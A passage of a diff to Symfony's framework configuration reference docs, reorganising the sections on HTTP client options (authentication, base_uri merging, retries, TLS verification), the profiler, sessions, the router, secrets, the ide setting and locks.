-string to match none (disables the proxy).
+    .. code-block:: xml
 
-passphrase
-..........
+        <!-- config/packages/framework.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
-**type**: ``string``
+            <framework:config>
+                <framework:http-client>
+                    <framework:scoped-client name="my_api.client" auth-bearer="secret_bearer_token"/>
+                </framework:http-client>
+            </framework:config>
+        </container>
 
-The passphrase used to encrypt the certificate stored in the file defined in the
-``local_cert`` option.
+    .. code-block:: php
 
-peer_fingerprint
-................
+        // config/packages/framework.php
+        $container->loadFromExtension('framework', [
+            'http_client' => [
+                'scoped_clients' => [
+                    'my_api.client' => [
+                        'auth_bearer' => 'secret_bearer_token',
+                        // ...
+                    ],
+                ],
+            ],
+        ]);
 
-**type**: ``array``
+    .. code-block:: php-standalone
 
-When negotiating a TLS connection, the server sends a certificate
-indicating its identity. A public key is extracted from this certificate and if
-it does not exactly match any of the public keys provided in this option, the
-connection is aborted before sending or receiving any data.
+        $client = HttpClient::createForBaseUri('https://...', [
+            'auth_bearer' => 'secret_bearer_token',
+            // ...
+        ]);
 
-The value of this option is an associative array of ``algorithm => hash``
-(e.g ``['pin-sha256' => '...']``).
+Options defined for scoped clients apply only to URLs that match either their
+`base_uri`_ or the `scope`_ option when it is defined. Non-matching URLs always
+use default options.
 
-proxy
-.....
+Each scoped client also defines a corresponding named autowiring alias.
+If you use for example
+``Symfony\Contracts\HttpClient\HttpClientInterface $myApiClient``
+as the type and name of an argument, autowiring will inject the ``my_api.client``
+service into your autowired classes.
 
-**type**: ``string`` | ``null``
+auth_basic
+..........
 
-The HTTP proxy to use to make the requests. Leave it to ``null`` to detect the
-proxy automatically based on your system configuration.
+**type**: ``string``
 
-query
-.....
+The username and password used to create the ``Authorization`` HTTP header
+used in HTTP Basic authentication. The value of this option must follow the
+format ``username:password``.
 
-**type**: ``array``
+auth_bearer
+...........
 
-An associative array of the query string values added to the URL before making
-the request. This value must use the format ``['parameter-name' => parameter-value, ...]``.
+**type**: ``string``
 
-rate_limiter
-............
+The token used to create the ``Authorization`` HTTP header used in HTTP Bearer
+authentication (also called token authentication).
 
-**type**: ``string``
+auth_ntlm
+.........
 
-The service ID of the rate limiter used to limit the number of HTTP requests
-within a certain period. The service must implement the
-:class:`Symfony\\Component\\RateLimiter\\LimiterInterface`.
+**type**: ``string``
 
-.. versionadded:: 7.1
+The username and password used to create the ``Authorization`` HTTP header used
+in the `Microsoft NTLM authentication protocol`_. The value of this option must
+follow the format ``username:password``. This authentication mechanism requires
+using the cURL-based transport.
 
-    The ``rate_limiter`` option was introduced in Symfony 7.1.
+.. _reference-http-client-base-uri:
 
-resolve
-.......
+base_uri
+........
 
-**type**: ``array``
+**type**: ``string``
 
-A list of hostnames and their IP addresses to pre-populate the DNS cache used by
-the HTTP client in order to avoid a DNS lookup for those hosts. This option is
-useful to improve security when IPs are checked before the URL is passed to the
-client and to make your tests easier.
+URI that is merged into relative URIs, following the rules explained in the
+`RFC 3986`_ standard. This is useful when all the requests you make share a
+common prefix (e.g. ``https://api.github.com/``) so you can avoid adding it to
+every request.
 
-The value of this option is an associative array of ``domain => IP address``
-(e.g ``['symfony.com' => '46.137.106.254', ...]``).
+Here are some common examples of how ``base_uri`` merging works in practice:
 
-.. _reference-http-client-retry-failed:
+==========================  ==================  =============================
+``base_uri``                Relative URI        Actual Requested URI
+==========================  ==================  =============================
+http://example.org          /bar                http://example.org/bar
+http://example.org/foo      /bar                http://example.org/bar
+http://example.org/foo      bar                 http://example.org/bar
+http://example.org/foo/     /bar                http://example.org/bar
+http://example.org/foo/     bar                 http://example.org/foo/bar
+http://example.org          http://symfony.com  http://symfony.com
+http://example.org/?bar     bar                 http://example.org/bar
+http://example.org/api/v4   /bar                http://example.org/bar
+http://example.org/api/v4/  /bar                http://example.org/bar
+http://example.org/api/v4   bar                 http://example.org/api/bar
+http://example.org/api/v4/  bar                 http://example.org/api/v4/bar
+==========================  ==================  =============================
 
-retry_failed
-............
+bindto
+......
 
-**type**: ``array``
+**type**: ``string``
 
-This option configures the behavior of the HTTP client when some request fails,
-including which types of requests to retry and how many times. The behavior is
-defined with the following options:
+A network interface name, IP address, a host name or a UNIX socket to use as the
+outgoing network interface.
 
-* :ref:`delay <reference-http-client-retry-delay>`
-* :ref:`http_codes <reference-http-client-retry-http-codes>`
-* :ref:`jitter <reference-http-client-retry-jitter>`
-* :ref:`max_delay <reference-http-client-retry-max-delay>`
-* :ref:`max_retries <reference-http-client-retry-max-retries>`
-* :ref:`multiplier <reference-http-client-retry-multiplier>`
+buffer
+......
 
-.. code-block:: yaml
+**type**: ``boolean`` | ``Closure``
 
-    # config/packages/framework.yaml
-    framework:
-        # ...
-        http_client:
-            # ...
-            default_options:
-                retry_failed:
-                    # retry_strategy: app.custom_strategy
-                    http_codes:
-                        0: ['GET', 'HEAD']   # retry network errors if request method is GET or HEAD
-                        429: true            # retry all responses with 429 status code
-                        500: ['GET', 'HEAD']
-                    max_retries: 2
-                    delay: 1000
-                    multiplier: 3
-                    max_delay: 5000
-                    jitter: 0.3
+Buffering the response means that you can access its content multiple times
+without performing the request again. Buffering is enabled by default when the
+content type of the response is ``text/*``, ``application/json`` or ``application/xml``.
 
-            scoped_clients:
-                my_api.client:
-                    # ...
-                    retry_failed:
-                        max_retries: 4
+If this option is a boolean value, the response is buffered when the value is
+``true``. If this option is a closure, the response is buffered when the
+returned value is ``true`` (the closure receives as argument an array with the
+response headers).
 
-retry_strategy
-..............
+cafile
+......
 
 **type**: ``string``
 
-The service is used to decide if a request should be retried and to compute the
-time to wait between retries. By default, it uses an instance of
-:class:`Symfony\\Component\\HttpClient\\Retry\\GenericRetryStrategy` configured
-with ``http_codes``, ``delay``, ``max_delay``, ``multiplier`` and ``jitter``
-options. This class has to implement
-:class:`Symfony\\Component\\HttpClient\\Retry\\RetryStrategyInterface`.
+The path of the certificate authority file that contains one or more
+certificates used to verify the other servers' certificates.
 
-scope
-.....
+capath
+......
 
 **type**: ``string``
 
-For scoped clients only: the regular expression that the URL must match before
-applying all other non-default options. By default, the scope is derived from
-`base_uri`_.
+The path to a directory that contains one or more certificate authority files.
 
-timeout
+ciphers
 .......
 
-**type**: ``float`` **default**: depends on your PHP config
-
-Time, in seconds, to wait for network activity. If the connection is idle for longer, a
-:class:`Symfony\\Component\\HttpClient\\Exception\\TransportException` is thrown.
-Its default value is the same as the value of PHP's `default_socket_timeout`_
-config option.
-
-verify_host
-...........
+**type**: ``string``
 
-**type**: ``boolean`` **default**: ``true``
+A list of the names of the ciphers allowed for the TLS connections. They
+can be separated by colons, commas or spaces (e.g. ``'RC4-SHA:TLS13-AES-128-GCM-SHA256'``).
 
-If ``true``, the certificate sent by other servers is verified to ensure that
-their common name matches the host included in the URL. This is usually
-combined with ``verify_peer`` to also verify the certificate authenticity.
+crypto_method
+.............
 
-verify_peer
-...........
+**type**: ``integer``
 
-**type**: ``boolean`` **default**: ``true``
+The minimum version of TLS to accept. The value must be one of the
+``STREAM_CRYPTO_METHOD_TLSv*_CLIENT`` constants defined by PHP.
 
-If ``true``, the certificate sent by other servers when negotiating a TLS
-connection is verified for authenticity. Authenticating the certificate is not
-enough to be sure about the server, so you should combine this with the
-``verify_host`` option.
+.. _reference-http-client-retry-delay:
 
-html_sanitizer
-~~~~~~~~~~~~~~
+delay
+.....
 
-The ``html_sanitizer`` option (and its children) are used to configure
-custom HTML sanitizers. Read more about the options in the
-:ref:`HTML sanitizer documentation <html-sanitizer-configuration>`.
+**type**: ``integer`` **default**: ``1000``
 
-profiler
-~~~~~~~~
+The initial delay in milliseconds used to compute the waiting time between retries.
 
-.. _reference-profiler-enabled:
+.. _reference-http-client-retry-enabled:
 
 enabled
 .......
 
 **type**: ``boolean`` **default**: ``false``
 
-The profiler can be enabled by setting this option to ``true``. When you
-install it using Symfony Flex, the profiler is enabled in the ``dev``
-and ``test`` environments.
+Whether to enable the support for retry failed HTTP request or not.
+This setting is automatically set to true when one of the child settings is configured.
 
-.. note::
+extra
+.....
 
-    The profiler works independently from the Web Developer Toolbar, see
-    the :doc:`WebProfilerBundle configuration </reference/configuration/web_profiler>`
-    on how to disable/enable the toolbar.
+**type**: ``array``
 
-collect
-.......
+Arbitrary additional data to pass to the HTTP client for further use.
+This can be particularly useful when :ref:`decorating an existing client <extensibility>`.
 
-**type**: ``boolean`` **default**: ``true``
+.. _http-headers:
 
-This option configures the way the profiler behaves when it is enabled. If set
-to ``true``, the profiler collects data for all requests. If you want to only
-collect information on-demand, you can set the ``collect`` flag to ``false`` and
-activate the data collectors manually::
+headers
+.......
 
-    $profiler->enable();
+**type**: ``array``
 
-collect_parameter
-.................
+An associative array of the HTTP headers added before making the request. This
+value must use the format ``['header-name' => 'value0, value1, ...']``.
 
-**type**: ``string`` **default**: ``null``
+.. _reference-http-client-retry-http-codes:
 
-This specifies name of a query parameter, a body parameter or a request attribute
-used to enable or disable collection of data by the profiler for each request.
-Combine it with the ``collect`` option to enable/disable the profiler on demand:
+http_codes
+..........
 
-* If the ``collect`` option is set to ``true`` but this parameter exists in a
-  request and has any value other than ``true``, ``yes``, ``on`` or ``1``, the
-  request data will not be collected;
-* If the ``collect`` option is set to ``false``, but this parameter exists in a
-  request and has value of ``true``, ``yes``, ``on`` or ``1``, the request data
-  will be collected.
+**type**: ``array`` **default**: :method:`Symfony\\Component\\HttpClient\\Retry\\GenericRetryStrategy::DEFAULT_RETRY_STATUS_CODES`
 
-only_exceptions
-...............
+The list of HTTP status codes that triggers a retry of the request.
 
-**type**: ``boolean`` **default**: ``false``
+http_version
+............
 
-When this is set to ``true``, the profiler will only be enabled when an
-exception is thrown during the handling of the request.
+**type**: ``string`` | ``null`` **default**: ``null``
 
-.. _only_master_requests:
+The HTTP version to use, typically ``'1.1'``  or ``'2.0'``. Leave it to ``null``
+to let Symfony select the best version automatically.
 
-only_main_requests
-..................
+.. _reference-http-client-retry-jitter:
+
+jitter
+......
 
-**type**: ``boolean`` **default**: ``false``
+**type**: ``float`` **default**: ``0.1`` (must be between 0.0 and 1.0)
 
-When this is set to ``true``, the profiler will only be enabled on the main
-requests (and not on the subrequests).
+This option adds some randomness to the delay. It's useful to avoid sending
+multiple requests to the server at the exact same time. The randomness is
+calculated as ``delay * jitter``. For example: if delay is ``1000ms`` and jitter
+is ``0.2``, the actual delay will be a number between ``800`` and ``1200`` (1000 +/- 20%).
 
-.. _profiler-dsn:
+local_cert
+..........
 
-dsn
-...
+**type**: ``string``
 
-**type**: ``string`` **default**: ``file:%kernel.cache_dir%/profiler``
+The path to a file that contains the `PEM formatted`_ certificate used by the
+HTTP client. This is often combined with the ``local_pk`` and ``passphrase``
+options.
 
-The DSN where to store the profiling information.
+local_pk
+........
 
-.. _collect_serializer_data:
+**type**: ``string``
 
-collect_serializer_data
-.......................
+The path of a file that contains the `PEM formatted`_ private key of the
+certificate defined in the ``local_cert`` option.
 
-**type**: ``boolean`` **default**: ``false``
+.. _reference-http-client-retry-max-delay:
 
-Set this option to ``true`` to enable the serializer data collector and its
-profiler panel. When this option is ``true``, all normalizers and encoders are
-decorated by traceable implementations that collect profiling information about them.
+max_delay
+.........
 
-rate_limiter
-~~~~~~~~~~~~
+**type**: ``integer`` **default**: ``0``
 
-.. _reference-rate-limiter-name:
+The maximum amount of milliseconds initial to wait between retries.
+Use ``0`` to not limit the duration.
 
-name
-....
+max_duration
+............
 
-**type**: ``prototype``
+**type**: ``float`` **default**: ``0``
 
-Name of the rate limiter you want to create.
+The maximum execution time, in seconds, that the request and the response are
+allowed to take. A value lower than or equal to 0 means it is unlimited.
 
-lock_factory
-""""""""""""
+max_host_connections
+....................
 
-**type**: ``string`` **default:** ``lock.factory``
+**type**: ``integer`` **default**: ``6``
 
-The service that is used to create a lock. The service has to be an instance of
-the :class:`Symfony\\Component\\Lock\\LockFactory` class.
+Defines the maximum amount of simultaneously open connections to a single host
+(considering a "host" the same as a "host name + port number" pair). This limit
+also applies for proxy connections, where the proxy is considered to be the host
+for which this limit is applied.
 
-policy
-""""""
+max_redirects
+.............
 
-**type**: ``string`` **required**
+**type**: ``integer`` **default**: ``20``
 
-The name of the rate limiting algorithm to use. Example names are ``fixed_window``,
-``sliding_window`` and ``no_limit``. See :ref:`Rate Limiter Policies <rate-limiter-policies>`)
-for more information.
+The maximum number of redirects to follow. Use ``0`` to not follow any
+redirection.
 
-request
-~~~~~~~
+.. _reference-http-client-retry-max-retries:
 
-formats
-.......
+max_retries
+...........
 
-**type**: ``array`` **default**: ``[]``
+**type**: ``integer`` **default**: ``3``
 
-This setting is used to associate additional request formats (e.g. ``html``)
-to one or more mime types (e.g. ``text/html``), which will allow you to use the
-format & mime types to call
-:method:`Request::getFormat($mimeType) <Symfony\\Component\\HttpFoundation\\Request::getFormat>` or
-:method:`Request::getMimeType($format) <Symfony\\Component\\HttpFoundation\\Request::getMimeType>`.
+The maximum number of retries for failing requests. When the maximum is reached,
+the client returns the last received response.
 
-In practice, this is important because Symfony uses it to automatically set the
-``Content-Type`` header on the ``Response`` (if you don't explicitly set one).
-If you pass an array of mime types, the first will be used for the header.
+.. _reference-http-client-retry-multiplier:
 
-To configure a ``jsonp`` format:
+multiplier
+..........
 
-.. configuration-block::
+**type**: ``float`` **default**: ``2``
 
-    .. code-block:: yaml
+This value is multiplied to the delay each time a retry occurs, to distribute
+retries in time instead of making all of them sequentially.
 
-        # config/packages/framework.yaml
-        framework:
-            request:
-                formats:
-                    jsonp: 'application/javascript'
+no_proxy
+........
 
-    .. code-block:: xml
+**type**: ``string`` | ``null`` **default**: ``null``
 
-        <!-- config/packages/framework.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
+A comma separated list of hosts that do not require a proxy to be reached, even
+if one is configured. Use the ``'*'`` wildcard to match all hosts and an empty
+string to match none (disables the proxy).
 
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:framework="http://symfony.com/schema/dic/symfony"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/symfony
-                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+passphrase
+..........
 
-            <framework:config>
-                <framework:request>
-                    <framework:format name="jsonp">
-                        <framework:mime-type>application/javascript</framework:mime-type>
-                    </framework:format>
-                </framework:request>
-            </framework:config>
-        </container>
+**type**: ``string``
 
-    .. code-block:: php
+The passphrase used to encrypt the certificate stored in the file defined in the
+``local_cert`` option.
 
-        // config/packages/framework.php
-        use Symfony\Config\FrameworkConfig;
+peer_fingerprint
+................
 
-        return static function (FrameworkConfig $framework): void {
-            $framework->request()
-                ->format('jsonp', 'application/javascript');
-        };
+**type**: ``array``
 
-router
-~~~~~~
+When negotiating a TLS connection, the server sends a certificate
+indicating its identity. A public key is extracted from this certificate and if
+it does not exactly match any of the public keys provided in this option, the
+connection is aborted before sending or receiving any data.
 
-resource
-........
+The value of this option is an associative array of ``algorithm => hash``
+(e.g ``['pin-sha256' => '...']``).
 
-**type**: ``string`` **required**
+proxy
+.....
 
-The path the main routing resource (e.g. a YAML file) that contains the
-routes and imports the router should load.
+**type**: ``string`` | ``null``
 
-.. _reference-router-type:
+The HTTP proxy to use to make the requests. Leave it to ``null`` to detect the
+proxy automatically based on your system configuration.
 
-type
-....
+query
+.....
 
-**type**: ``string``
+**type**: ``array``
 
-The type of the resource to hint the loaders about the format. This isn't
-needed when you use the default routers with the expected file extensions
-(``.xml``, ``.yaml``, ``.php``).
+An associative array of the query string values added to the URL before making
+the request. This value must use the format ``['parameter-name' => parameter-value, ...]``.
 
-default_uri
-...........
+rate_limiter
+............
 
 **type**: ``string``
 
-The default URI used to generate URLs in a non-HTTP context (see
-:ref:`Generating URLs in Commands <router-generate-urls-commands>`).
+The service ID of the rate limiter used to limit the number of HTTP requests
+within a certain period. The service must implement the
+:class:`Symfony\\Component\\RateLimiter\\LimiterInterface`.
 
-http_port
-.........
+.. versionadded:: 7.1
 
-**type**: ``integer`` **default**: ``80``
+    The ``rate_limiter`` option was introduced in Symfony 7.1.
 
-The port for normal http requests (this is used when matching the scheme).
+resolve
+.......
 
-https_port
-..........
+**type**: ``array``
 
-**type**: ``integer`` **default**: ``443``
+A list of hostnames and their IP addresses to pre-populate the DNS cache used by
+the HTTP client in order to avoid a DNS lookup for those hosts. This option is
+useful to improve security when IPs are checked before the URL is passed to the
+client and to make your tests easier.
 
-The port for https requests (this is used when matching the scheme).
+The value of this option is an associative array of ``domain => IP address``
+(e.g ``['symfony.com' => '46.137.106.254', ...]``).
 
-strict_requirements
-...................
+.. _reference-http-client-retry-failed:
 
-**type**: ``mixed`` **default**: ``true``
+retry_failed
+............
 
-Determines the routing generator behavior. When generating a route that
-has specific :ref:`parameter requirements <routing-requirements>`, the generator
-can behave differently in case the used parameters do not meet these requirements.
+**type**: ``array``
 
-The value can be one of:
+This option configures the behavior of the HTTP client when some request fails,
+including which types of requests to retry and how many times. The behavior is
+defined with the following options:
 
-``true``
-    Throw an exception when the requirements are not met;
-``false``
-    Disable exceptions when the requirements are not met and return ``''``
-    instead;
-``null``
-    Disable checking the requirements (thus, match the route even when the
-    requirements don't match).
+* :ref:`delay <reference-http-client-retry-delay>`
+* :ref:`http_codes <reference-http-client-retry-http-codes>`
+* :ref:`jitter <reference-http-client-retry-jitter>`
+* :ref:`max_delay <reference-http-client-retry-max-delay>`
+* :ref:`max_retries <reference-http-client-retry-max-retries>`
+* :ref:`multiplier <reference-http-client-retry-multiplier>`
 
-``true`` is recommended in the development environment, while ``false``
-or ``null`` might be preferred in production.
+.. code-block:: yaml
 
-utf8
-....
+    # config/packages/framework.yaml
+    framework:
+        # ...
+        http_client:
+            # ...
+            default_options:
+                retry_failed:
+                    # retry_strategy: app.custom_strategy
+                    http_codes:
+                        0: ['GET', 'HEAD']   # retry network errors if request method is GET or HEAD
+                        429: true            # retry all responses with 429 status code
+                        500: ['GET', 'HEAD']
+                    max_retries: 2
+                    delay: 1000
+                    multiplier: 3
+                    max_delay: 5000
+                    jitter: 0.3
+
+            scoped_clients:
+                my_api.client:
+                    # ...
+                    retry_failed:
+                        max_retries: 4
 
-**type**: ``boolean`` **default**: ``true``
+retry_strategy
+..............
 
-When this option is set to ``true``, the regular expressions used in the
-:ref:`requirements of route parameters <routing-requirements>` will be run
-using the `utf-8 modifier`_. This will for example match any UTF-8 character
-when using ``.``, instead of matching only a single byte.
+**type**: ``string``
 
-If the charset of your application is UTF-8 (as defined in the
-:ref:`getCharset() method <configuration-kernel-charset>` of your kernel) it's
-recommended setting it to ``true``. This will make non-UTF8 URLs to generate 404
-errors.
+The service is used to decide if a request should be retried and to compute the
+time to wait between retries. By default, it uses an instance of
+:class:`Symfony\\Component\\HttpClient\\Retry\\GenericRetryStrategy` configured
+with ``http_codes``, ``delay``, ``max_delay``, ``multiplier`` and ``jitter``
+options. This class has to implement
+:class:`Symfony\\Component\\HttpClient\\Retry\\RetryStrategyInterface`.
 
-cache_dir
-.........
+scope
+.....
 
-**type**: ``string`` **default**: ``%kernel.cache_dir%``
+**type**: ``string``
 
-The directory where routing information will be cached. Can be set to
-``~`` (``null``) to disable route caching.
+For scoped clients only: the regular expression that the URL must match before
+applying all other non-default options. By default, the scope is derived from
+`base_uri`_.
 
-.. deprecated:: 7.1
+timeout
+.......
 
-    Setting the ``cache_dir`` option is deprecated since Symfony 7.1. The routes
-    are now always cached in the ``%kernel.build_dir%`` directory.
+**type**: ``float`` **default**: depends on your PHP config
 
-secrets
-~~~~~~~
+Time, in seconds, to wait for network activity. If the connection is idle for longer, a
+:class:`Symfony\\Component\\HttpClient\\Exception\\TransportException` is thrown.
+Its default value is the same as the value of PHP's `default_socket_timeout`_
+config option.
 
-enabled
-.......
+verify_host
+...........
 
 **type**: ``boolean`` **default**: ``true``
 
-Whether to enable or not secrets managements.
-
-decryption_env_var
-..................
+If ``true``, the certificate sent by other servers is verified to ensure that
+their common name matches the host included in the URL. This is usually
+combined with ``verify_peer`` to also verify the certificate authenticity.
 
-**type**: ``string`` **default**: ``base64:default::SYMFONY_DECRYPTION_SECRET``
+verify_peer
+...........
 
-The env var name that contains the vault decryption secret. By default, this
-value will be decoded from base64.
+**type**: ``boolean`` **default**: ``true``
 
-local_dotenv_file
-.................
+If ``true``, the certificate sent by other servers when negotiating a TLS
+connection is verified for authenticity. Authenticating the certificate is not
+enough to be sure about the server, so you should combine this with the
+``verify_host`` option.
 
-**type**: ``string`` **default**: ``%kernel.project_dir%/.env.%kernel.environment%.local``
+ .. _configuration-framework-http_method_override:
 
-The path to the local ``.env`` file. This file must contain the vault
-decryption key, given by the ``decryption_env_var`` option.
+http_method_override
+~~~~~~~~~~~~~~~~~~~~
 
-vault_directory
-...............
+**type**: ``boolean`` **default**: ``false``
 
-**type**: ``string`` **default**: ``%kernel.project_dir%/config/secrets/%kernel.runtime_environment%``
+This determines whether the ``_method`` request parameter is used as the
+intended HTTP method on POST requests. If enabled, the
+:method:`Request::enableHttpMethodParameterOverride <Symfony\\Component\\HttpFoundation\\Request::enableHttpMethodParameterOverride>`
+method gets called automatically. It becomes the service container parameter
+named ``kernel.http_method_override``.
 
-The directory to store the secret vault. By default, the path includes the value
-of the :ref:`kernel.runtime_environment <configuration-kernel-runtime-environment>`
-parameter.
+.. seealso::
 
-.. _config-framework-session:
+    :ref:`Changing the Action and HTTP Method <forms-change-action-method>` of
+    Symfony forms.
 
-session
-~~~~~~~
+.. warning::
 
-.. _storage_id:
+    If you're using the :ref:`HttpCache Reverse Proxy <symfony2-reverse-proxy>`
+    with this option, the kernel will ignore the ``_method`` parameter,
+    which could lead to errors.
 
-storage_factory_id
-..................
+    To fix this, invoke the ``enableHttpMethodParameterOverride()`` method
+    before creating the ``Request`` object::
 
-**type**: ``string`` **default**: ``session.storage.factory.native``
+        // public/index.php
 
-The service ID used for creating the ``SessionStorageInterface`` that stores
-the session. This service is available in the Symfony application via the
-``session.storage.factory`` service alias. The class has to implement
-:class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\SessionStorageFactoryInterface`.
-To see a list of all available storages, run:
+        // ...
+        $kernel = new CacheKernel($kernel);
 
-.. code-block:: terminal
+        Request::enableHttpMethodParameterOverride(); // <-- add this line
+        $request = Request::createFromGlobals();
+        // ...
 
-    $ php bin/console debug:container session.storage.factory.
+ide
+~~~
 
-.. _config-framework-session-handler-id:
+**type**: ``string`` **default**: ``%env(default::SYMFONY_IDE)%``
 
-handler_id
-..........
+Symfony turns file paths seen in variable dumps and exception messages into
+links that open those files right inside your browser. If you prefer to open
+those files in your favorite IDE or text editor, set this option to any of the
+following values: ``phpstorm``, ``sublime``, ``textmate``, ``macvim``, ``emacs``,
+``atom`` and ``vscode``.
 
-**type**: ``string`` | ``null`` **default**: ``null``
+.. note::
 
-If ``framework.session.save_path`` is not set, the default value of this option
-is ``null``, which means to use the session handler configured in php.ini. If the
-``framework.session.save_path`` option is set, then Symfony stores sessions using
-the native file session handler.
+    The ``phpstorm`` option is supported natively by PhpStorm on macOS and
+    Windows; Linux requires installing `phpstorm-url-handler`_.
 
-It is possible to :ref:`store sessions in a database <session-database>`,
-and also to configure the session handler with a DSN:
+If you use another editor, the expected configuration value is a URL template
+that contains an ``%f`` placeholder where the file path is expected and ``%l``
+placeholder for the line number (percentage signs (``%``) must be escaped by
+doubling them to prevent Symfony from interpreting them as container parameters).
 
 .. configuration-block::
 
@@ -1639,12 +1947,7 @@ and also to configure the session handler with a DSN:
 
         # config/packages/framework.yaml
         framework:
-            session:
-                # a few possible examples
-                handler_id: 'redis://localhost'
-                handler_id: '%env(REDIS_URL)%'
-                handler_id: '%env(DATABASE_URL)%'
-                handler_id: 'file://%kernel.project_dir%/var/sessions'
+            ide: 'myide://open?url=file://%%f&line=%%l'
 
     .. code-block:: xml
 
@@ -1656,268 +1959,290 @@ and also to configure the session handler with a DSN:
             xsi:schemaLocation="http://symfony.com/schema/dic/services
                 https://symfony.com/schema/dic/services/services-1.0.xsd
                 http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
-            <framework:config>
-                <!-- a few possible examples -->
-                <framework:session enabled="true"
-                    handler-id="redis://localhost"
-                    handler-id="%env(REDIS_URL)%"
-                    handler-id="%env(DATABASE_URL)%"
-                    handler-id="file://%kernel.project_dir%/var/sessions"/>
-            </framework:config>
+
+            <framework:config ide="myide://open?url=file://%%f&line=%%l"/>
         </container>
 
     .. code-block:: php
 
         // config/packages/framework.php
-        use function Symfony\Component\DependencyInjection\Loader\Configurator\env;
         use Symfony\Config\FrameworkConfig;
 
         return static function (FrameworkConfig $framework): void {
-            // ...
-
-            $framework->session()
-                // a few possible examples
-                ->handlerId('redis://localhost')
-                ->handlerId(env('REDIS_URL'))
-                ->handlerId(env('DATABASE_URL'))
-                ->handlerId('file://%kernel.project_dir%/var/sessions');
+            $framework->ide('myide://open?url=file://%%f&line=%%l');
         };
 
+Since every developer uses a different IDE, the recommended way to enable this
+feature is to configure it on a system level. First, you can define this option
+in the ``SYMFONY_IDE`` environment variable, which Symfony reads automatically
+when ``framework.ide`` config is not set.
+
+Another alternative is to set the ``xdebug.file_link_format`` option in your
+``php.ini`` configuration file. The format to use is the same as for the
+``framework.ide`` option, but without the need to escape the percent signs
+(``%``) by doubling them:
+
+.. code-block:: ini
+
+    // example for PhpStorm
+    xdebug.file_link_format="phpstorm://open?file=%f&line=%l"
+
+    // example for PhpStorm with Jetbrains Toolbox
+    xdebug.file_link_format="jetbrains://phpstorm/navigate/reference?project=example&path=%f:%l"
+
+    // example for Sublime Text
+    xdebug.file_link_format="subl://open?url=file://%f&line=%l"
+
 .. note::
 
-    Supported DSN protocols are the following:
+    If both ``framework.ide`` and ``xdebug.file_link_format`` are defined,
+    Symfony uses the value of the ``xdebug.file_link_format`` option.
 
-    * ``file``
-    * ``redis``
-    * ``rediss`` (Redis over TLS)
-    * ``memcached`` (requires :doc:`symfony/cache </components/cache>`)
-    * ``pdo_oci`` (requires :doc:`doctrine/dbal </doctrine/dbal>`)
-    * ``mssql``
-    * ``mysql``
-    * ``mysql2``
-    * ``pgsql``
-    * ``postgres``
-    * ``postgresql``
-    * ``sqlsrv``
-    * ``sqlite``
-    * ``sqlite3``
+.. tip::
 
-.. _name:
+    Setting the ``xdebug.file_link_format`` ini option works even if the Xdebug
+    extension is not enabled.
 
-name
-....
+.. tip::
 
-**type**: ``string``
+    When running your app in a container or in a virtual machine, you can tell
+    Symfony to map files from the guest to the host by changing their prefix.
+    This map should be specified at the end of the URL template, using ``&`` and
+    ``>`` as guest-to-host separators:
 
-This specifies the name of the session cookie.
+    .. code-block:: text
 
-If not set, ``php.ini``'s `session.name`_ directive will be relied on.
+        // /path/to/guest/.../file will be opened
+        // as /path/to/host/.../file on the host
+        // and /var/www/app/ as /projects/my_project/ also
+        'myide://%%f:%%l&/path/to/guest/>/path/to/host/&/var/www/app/>/projects/my_project/&...'
 
-cookie_lifetime
-...............
+        // example for PhpStorm
+        'phpstorm://open?file=%%f&line=%%l&/var/www/app/>/projects/my_project/'
 
-**type**: ``integer``
+.. _reference-lock:
 
-This determines the lifetime of the session - in seconds.
-Setting this value to ``0`` means the cookie is valid for
-the length of the browser session.
+lock
+~~~~
 
-If not set, ``php.ini``'s `session.cookie_lifetime`_ directive will be relied on.
+**type**: ``string`` | ``array``
 
-cookie_path
-...........
+The default lock adapter. If not defined, the value is set to ``semaphore`` when
+available, or to ``flock`` otherwise. Store's DSN are also allowed.
 
-**type**: ``string``
+.. _reference-lock-enabled:
 
-This determines the path to set in the session cookie.
+enabled
+.......
 
-If not set, ``php.ini``'s `session.cookie_path`_ directive will be relied on.
+**type**: ``boolean`` **default**: ``true``
 
-cache_limiter
-.............
+Whether to enable the support for lock or not. This setting is
+automatically set to ``true`` when one of the child settings is configured.
 
-**type**: ``string`` **default**: ``0``
+.. _reference-lock-resources:
+
+resources
+.........
 
-If set to ``0``, Symfony won't set any particular header related to the cache
-and it will rely on ``php.ini``'s `session.cache_limiter`_ directive.
+**type**: ``array``
 
-Unlike the other session options, ``cache_limiter`` is set as a regular
-:ref:`container parameter <configuration-parameters>`:
+A map of lock stores to be created by the framework extension, with
+the name as key and DSN as value:
 
 .. configuration-block::
 
     .. code-block:: yaml
 
-        # config/services.yaml
-        parameters:
-            session.storage.options:
-                cache_limiter: 0
+        # config/packages/lock.yaml
+        framework:
+            lock: '%env(LOCK_DSN)%'
 
     .. code-block:: xml
 
-        <!-- config/services.xml -->
+        <!-- config/packages/lock.xml -->
         <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
-            <parameters>
-                <parameter key="session.storage.options" type="collection">
-                    <parameter key="cache_limiter">0</parameter>
-                </parameter>
-            </parameters>
+            <framework:config>
+                <framework:lock>
+                    <framework:resource name="default">%env(LOCK_DSN)%</framework:resource>
